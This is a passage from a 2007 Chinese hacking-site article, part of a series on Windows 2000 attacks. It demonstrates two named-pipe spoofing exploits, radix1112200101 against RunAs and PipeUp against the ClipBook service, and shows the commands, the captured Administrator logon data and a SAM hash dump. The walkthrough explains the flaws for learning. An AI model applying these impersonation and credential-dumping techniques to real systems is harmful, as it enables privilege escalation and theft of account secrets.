·搜黑-全球首例黑客资讯搜索
·视频-国内视频学习教学大全
·设计-汇集百家设计网站精华
·编程-13大编程语言全面学习
安全中国首页 > 文章中心 > 黑客技术
Win2K系统几个攻击实例成败心得(二)
http://www.anqn.com     时间:2007-8-13 8:27:26      责任编辑:池天      网友评论
热 点:

用户Administrator才能终止RunAs服务进程)。这样RunAs拥有的“\\.\pipe\secondarylogon”就关闭(Close)了。

  再以我的一般用户账号moda登录dallas,接着运行radix1112200101伪造一个新的Named Pipe “\\.\pipe\secondarylogon”。

  D:\MyJob\securitylab\radix\Debug>radix1112200101

  Created pipe and waiting for clients...

  怎么确定“\\.\pipe\secondarylogon”被成功地创建了呢?我们可以使用pipelist程序,这是我从sysinternals网站下载的宝贝之一,它能列出系统中所有的Named Pipe:

  D:\MyJob\tool\pipelist\RELEASE>pipelist

  PipeList v1.01

  by Mark Russinovich

  http://www.sysinternals.com

  Pipe Name Instances Max Instances

  --------- --------- -------------

  InitShutdown 2 -1

  lsass 5 -1

  ntsvcs 50 -1

  scerpc 2 -1

  net\NtControlPipe1 1 1

  DhcpClient 1 -1

  net\NtControlPipe2 1 1

  Winsock2\CatalogChangeListener-194-0 1 1

  net\NtControlPipe3 1 1

  spoolss 2 -1

  。。。。。。。

  。。。。。。。

  net\NtControlPipe21 1 1

  tapsrv 2 -1

  ROUTER 2 -1

  WMIEP_2ac 2 -1

  WMIEP_154 2 -1

  SecondaryLogon 1 10

  D:\MyJob\tool\pipelist\RELEASE>

  你们看到,最后一个Named Pipe就是radix1112200101刚刚伪造Secondarylogon。

  现在运行radixvictim。对於这个程序,用户甲就是无辜而无知的“moda”,而用户乙就是超级用户Administrator。请注意Exploit程序radix1112200101的输出:

  D:\MyJob\securitylab\radix\Debug>radix1112200101

  Created pipe and waiting for clients...

  Read 4 bytes. (ASCII Dump)

  >

  ? Read 318 bytes. (ASCII Dump)

  □

  ? ? 8

  X j □ □

  ? ? ? - + -

  ? A d m i n i s t r a t o r

  ? d a l l a

  s ? m o d a

  * D

  : \ W i n n t \

  N o t e P a d .

  e x e ? N o t e P a d . e x e l

  D H l


  W i n S

  t a 0 \ D e f a u l t _

  D:\MyJob\securitylab\radix\Debug>

  你们可以看到,超级用户Administrator的信息(包括密码)全部都被radix1112200101接收到了。得到Administrator的账号信息后,再提升权限就易如反掌了!

  这个Exploit的关键在于:第一,Named Pipe的名字是广为人知的,黑客的Named Pipe也可以贴上同样的名字“\\.\pipe\secondarylogon”去冒充;第二,CreateProcessWithLogonW在使用Named Pipe之前并没有核实Named Pipe的Server端进程,它不管Server端是连通到RunAs进程还是到其它的进程。类似的这样问题是在Windows操作系统中是广泛存在的,再看下面的例子:

  我是在网站http://www.dogmile.com上看到的这个例子的,作者为maceo。根据maceo的研究,Windows 2000操作系统广泛使用了Named Pipe来控制(或者说管理)服务进程,包括象Clipbook服务进程呀、Telnetd服务进程呀等等,而且这些Named Pipe的名字是可以猜得到的。如果黑客抢先用猜到的名字创建Named Pipe的话,服务进程启动时会直接连接到黑客的Named Pipe上,於是黑客程序就可以通过ImpersonateNamedPipeClient()取得服务进程的权限(缺省设置为Local System权限)。那么,黑客是怎样猜到这些Named Pipe的名字的呢?很简单,他是从Registry中查询到的,在下面的地址:

  HKEY_LOCAL_MACHINE\

  SYSTEM\

  CurrentControlSet\

  Control\

  ServiceCurrent

  如果ServiceCurrent的双字值(DWORD Value)是X,那么服务进程所用到的Named Pipe的名字就是“\\.\pipe\net\NtControlPipe(X+1)”,这也就是黑客要伪造的Named Pipe的名字。

  maceo给出了几个Exploit程序,我下面就在Dallas上演示其中的一个----PipeUp。这个Exploit程序首先从Registry中取得下一个服务进程要使用的Named Pipe名字,然后抢先创建这个Named Pipe;紧接着它启动服务进程ClipBook,由于ClipBook启动后会主动连接这个伪造的Named Pipe,於是PipeUp就通过函数ImpersonateNamedPipeClient而获取了Local System的账号权限(因为ClipBook一般以Local System的账号运行)。这样进程PipeUp就有足够的权限把Local System在Security Account Manager(SAM)中的信息读出来。

  你们可以从网站http://www.dogmile.com下载这个Exploit的源程序,这里限于篇幅我就不转载这个程序了(画外音:其实是限于版权)。

  先以Administrator的账号登录dallas,把ClipBook服务进程停止。

  再以一般用户moda登录,运行Exploit程序PipeUp,下面是PipeUp运行及Exploit的结果:

  D:\MyJob\securitylab\PipeUp\Debug>pipeup

  The ClipBook service is not started.

  More help is available by typing NET HELPMSG 3521.

  Impersonating: SYSTEM

  Dumping SAM for RID 500 ...

F:0x020001000000000010f3e3f89b33c2010000000000000000f0a09fa11061c
101ffffffffffff

ff7fb0c25115f430c201f401000001020000100200000000000000002a010100
000000000d000a00
0000

V:0x00000000a800000002000100a80000001a00000000000000c400000000
00000000000000c400

00006c0000000000000030010000000000000000000030010000000000000
0000000300100000000

0000000000003001000000000000000000003001000000000000000000003
0010000000000000000

0000300100000000000000000000300100000000000000000000300100000
8000000010000003801

000014000000000000004c010000140000000000000060010000040000000
0000000640100000400

000000000000010014808800000098000000140000003000000002001c000
100000002c014004400

05010101000000000001000000000200580003000000000014005b0302000
1010000000000010000

000000001800ff070f000102000000000005200000002002000000002400440
00200010500000000

000515000000dde8e41c32621f2a8aa7323ff401000001020000000000052000
0000200200000102
  0000000000052000000020020000410064006d0069006e0069007300740072
00610074006f007200
  00004200750069006c0074002d0069006e0020006100630063006f0075006e0
07400200066006f00

72002000610064006d0069006e006900730074006500720069006e00670020
007400680065002000

63006f006d00700075007400650072

·上一篇: 暂时空缺
·下一篇: 暂时空缺

发表评论  打印本文  返回顶部  关闭窗口
最新5条评论 条评论
条评论
名称: 信箱:

相关连接
·专题:Win2K系统几个攻击实例成败心得(六章) [2007-8-23]
·Win2K下关闭默认开启的139,445端口 [2007-8-21]
·Win2K系统几个攻击实例成败心得(一) [2007-8-13]
·Win2K系统几个攻击实例成败心得(三) [2007-8-13]
·Win2K系统几个攻击实例成败心得(四) [2007-8-13]
·Win2K系统几个攻击实例成败心得(五) [2007-8-13]
·Win2K系统几个攻击实例成败心得(六) [2007-8-13]
·Win2k入侵后后门的放置 [2006-7-25]
·巧妙修改Win2k注册表抵抗拒绝服务 [2006-4-22]
·高级WIN2K ROOTKIT检测技术 [2006-3-23]